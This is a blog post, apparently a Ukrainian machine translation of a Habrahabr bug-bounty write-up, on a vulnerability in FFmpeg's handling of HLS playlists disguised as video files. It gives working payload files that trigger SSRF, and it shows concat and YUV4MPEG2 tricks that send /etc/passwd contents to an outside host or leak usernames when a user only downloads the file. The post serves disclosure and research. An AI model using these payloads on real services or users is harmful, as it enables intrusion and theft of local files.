Небезпечне відео: як я знайшов уразливість в відеохостингах і не помер через 7 днів



Всім привіт! У сьогоднішньому пості я хочу розповісти про одну досить цікавою уразливості, яку знайшов і зарепортил bug bounty декількох великих компаній, за що отримав солідну винагороду. Уразливість полягає в наступному: якщо сформувати спеціальний відео і завантажити його на сервер, то:

  • можна отримати на ньому SSRF;
  • можна отримати local file read;
  • якщо користувач завантажить файл, то автоматично буде схильний вразливостей, навіть якщо його не відкриє: можна буде отримати доступ до даних на комп'ютері користувача і дізнатися його ім'я.

Технічне передмова


Існує величезна кількість кодеків, відео — і аудіоформатів, але іноді буває потрібно отримати щось конкретне, пропустивши все це безліч через деякий чорний ящик. Наприклад, нам може знадобитися на виході MP4-відео з заданим якістю або JPEG-прев'юшки. Досить часто цим чорним ящиком стає FFmpeg. Це open source набір бібліотек і бінарних утиліт, він активно розвивається, підтримує велику кількість аудіо — і відеокодеків, тому його часто застосовують для конвертації відео і генерації thumbnails, як у вигляді окремого інструменту, так і у вигляді окремих бібліотек, що використовуються сторонніми додатками. Більшість великих компаній запускають FFmpeg командою з скрипта або якогось бінарника, роблять fork-exec. Так склалося, що простіше з бінарника форкнуться і виконати FFmpeg-бінарники, ніж городити все це з використанням бібліотек.

Створення шкідливого файлу
У складі FFmpeg є консольна утиліта ffmpeg. Створимо файл test.avi, який дійсно є файлом avi, і скопіюємо його з двома іншими розширеннями: .mov і .123. Якщо попросити ffmpeg конвертувати будь-який з цих файлів, то він без проблем все виконає, тобто він не звертає уваги на розширення файлу. Але тут є один важливий виняток, який мені дуже згодилося у здійсненні однієї з описаних у подальшому атак, але про це трохи пізніше.

Існує такий формат відео, як HLS (HTTP Live Streaming). Він розроблений компанією Apple для передачі потокового відео. Цей формат підтримує таку приємну штуку, як адаптивний стрімінг, тобто зміна якості в процесі програвання. Але для нас тут важливо те, що формат складається з так званого головного плей-листа, в якому перераховано кілька інших плей-листів з якимось заданим якістю, а вже в цих плей-листах перераховані шматочки відео.



Створимо файл test.mp4, який насправді є m3u8 плей-листом HLS:

#EXTM3U
#EXT-X-MEDIA-SEQUENCE:0
#EXTINF:10.0,
http://www.example.org/1.mp4
#EXT-X-ENDLIST

У нього є заголовок, є закінчення і посилання, по якому потрібно брати шматочок відео. Як ми вже знаємо, необов'язково присвоювати розширення .m3u8, файл може називатися test.mp4 або test.mov — ffmpeg все одно зрозуміє, що це плей-лист m3u8, і буде інтерпретувати його саме як плей-лист. Якщо прогнати наш test.mp4 через будь-який з багатьох мільйонів сайтів «конвертувати відео онлайн», ffmpeg, який використовується цим онлайн-конвертером, інтерпретує файл як плей-лист, пройде за вказаною в ньому посиланням і на нашому сервері ми побачимо GET-запит з IP цього онлайн-конвертера:


Запит від одного з онлайн-конвертерів до нашого сервера

Тобто на даний момент у нас вже є проста SSRF, щоправда, поки що ми не можемо читати відповідь.

Підемо далі. Я згадував про важливий виняток, пов'язане з розширеннями файлів. Запропонуємо ffmpeg перетворити текстовий файл file.txt у відеофайл out.mp4. Як ви думаєте, що станеться в цьому випадку? У файлі out.mp4 буде відео, в якому цей текстовий файл буде програне просто біжать рядками! Виходить, ми вже можемо красти з цих онлайн-сервісів конвертації будь txt-файли. Але це нам не дуже цікаво. Перейдемо далі.

А що, якщо ми до http url допишемо в кінці GET-параметр .txt? Виявляється, ffmpeg подумає, що це текстовий файл і треба інтерпретувати відповідь як txt. Ось приклад запиту до mail.ru:

#EXTM3U
#EXT-X-MEDIA-SEQUENCE:0
#EXTINF:10.0,
http://www.mail.ru/?.txt
#EXT-X-ENDLIST



HTML-код відповіді програється в отриманому відео! Тобто в даному випадку ми отримали можливість за допомогою цієї SSRF читати відповідь на будь-які мережні запити.

Рухаємося далі. FFmpeg підтримує величезну кількість різних протоколів, в тому числі concat. Згідно документації, цей протокол читає бінарний потік даних з декількох джерел, склеює і надалі інтерпретує їх, як ніби вони з одного джерела.

Давайте розберемо на прикладі. Припустимо, у нас є файл header.m3u8, такий недороблений плей-лист, в якому написано «example.org?». Зробимо так, щоб FFmpeg після подання йому test.avi з допомогою протоколу concat сформував хитрий m3u8, що містить file:///etc/passwd, і відправив це на наш сервер example.org:

файл, розміщений на dx.su/header.m3u8:
#EXTM3U
#EXT-X-MEDIA-SEQUENCE:0
#EXTINF:,
http://example.org?

test.avi:
#EXTM3U
#EXT-X-MEDIA-SEQUENCE:0
#EXTINF:10.0,
concat:http://dx.su/header.m3u8|file:///etc/passwd
#EXT-X-ENDLIST



http://example.org?# $FreeBSD: release/10.0.0/et..

FFmpeg, отримавши test.avi, візьме header.m3u8 і розкриє його як example.org, а з file:///etc/passwd візьме першу сходинку, сконструює URL і перейде по ньому. Таким чином, ми можемо отримати першу сходинку абсолютно будь-якого локального файлу, яка буде передана на HTTP на наш сервер, якщо ми контролюємо example.org. Існує невеликий трюк, який дозволяє нам не тільки красти першу сходинку, але і читати весь файл порядково, — інший протокол з назвою subfile. Я не буду тут розписувати, але, якщо вам цікаво, перегляньте документацію, там нічого складного немає.

Розглянемо інший спосіб крадіжки всього файлу. Скористаємося таким же прийомом з concat і візьмемо заголовок відеоформату YUV4MPEG2. Це формату без стиснення, з простим текстовим заголовком. Будь потік даних у файлі інтерпретується як 8 біт на 1 піксель, тобто 1 байт на 1 піксель. Візьмемо video.mp4, в якому буде сoncat цього header і file:///etc/passwd. Уявімо, що ми завантажили його на якийсь хмарний відеосервіс. Швидше за все, ви побачите превьюшку. А для її генерування, швидше за все, теж буде якось використовуватися FFmpeg.

Приймемо заради спрощення, що прев'юшки у нас у форматі PNG, тобто стисла без втрат. Попросимо ffmpeg зробити thumbnail з нібито MP4-відео video.mp4, яке насправді є хитрим плей-листом m3u8:

файл header.y4m:
YUV4MPEG2 W30 H30 F25:1 Ip A0:0 Cmono
FRAME

файл video.mp4:
#EXTM3U
#EXT-X-MEDIA-SEQUENCE:0
#EXTINF:10.0,
concat:http://dx.su/header.y4m|file:///etc/passwd
#EXT-X-ENDLIST


ffmpeg -i video.mp4 thumbnail.png


thumbnail.png

А тепер отриманий thumbnail декодируем назад:

ffmpeg -i thumbnail.png out.y4m

файл out.y4m:
YUV4MPEG2 W30 H30 F25:1 Ip A0:0 Cmono
FRAME
# $FreeBSD: release/10.0.0/etc/master.passwd 256366
,! 2013-10-12 06:08:18Z rpaulo $
#
root:*:0:0:Charlie &:/root:/usr/local/bin/zsh
toor:*:0:0:Bourne-again Superuser:/root:
...

Ми можемо побачити заголовок, який був у header.y4m, а в подальшому — повний текст file:///etc/passwd.

Припустимо, що ми знову згенерували наш шкідливий файл з потрібним заголовком, виконали трюк з concat, використовували file:///etc/passwd. Тільки тепер не завантажуємо файл на якийсь сервіс, а просто віддаємо користувачеві, щоб він його скачав і навіть не запускав. Якщо ви користуєтеся, скажімо, Kali Linux, поки буде генеруватися прев'юшки, GStreamer передасть на наш сервер в реферере повний шлях до цього файлу. Так ми можемо дізнатися ім'я користувача і яку-небудь ще непублічну інформацію. А у випадку з Ubuntu FFmpeg передасть нам перший рядок file:///etc/passwd того користувача, який завантажив файл.


Запит від Kali Linux


Запит від Ubuntu Linux

висновок
З допомогою такого спеціально сконструйованого відеофайлу можна спочатку зробити просто SSRF-запити без читання відповіді, читати відповідь на будь-які мережеві запити, читати локальні файли, причому декількома способами. І більше того, ми навіть можемо направити цю атаку проти звичайних користувачів, які всього лише завантажили файл, а не проти серверів.

До речі, про цю уразливість я розповідав на останньому Security Meetup'е — тепер вони регулярно проходять у нас в Mail.Ru Group. Якщо ви хочете взяти участь в одному з таких і вам є про що розповісти, напишіть про це мені, Каріму valievkarim Валиеву або Володимиру z3apa3a Дубровину.

Джерело: Хабрахабр

0 коментарів

Тільки зареєстровані та авторизовані користувачі можуть залишати коментарі.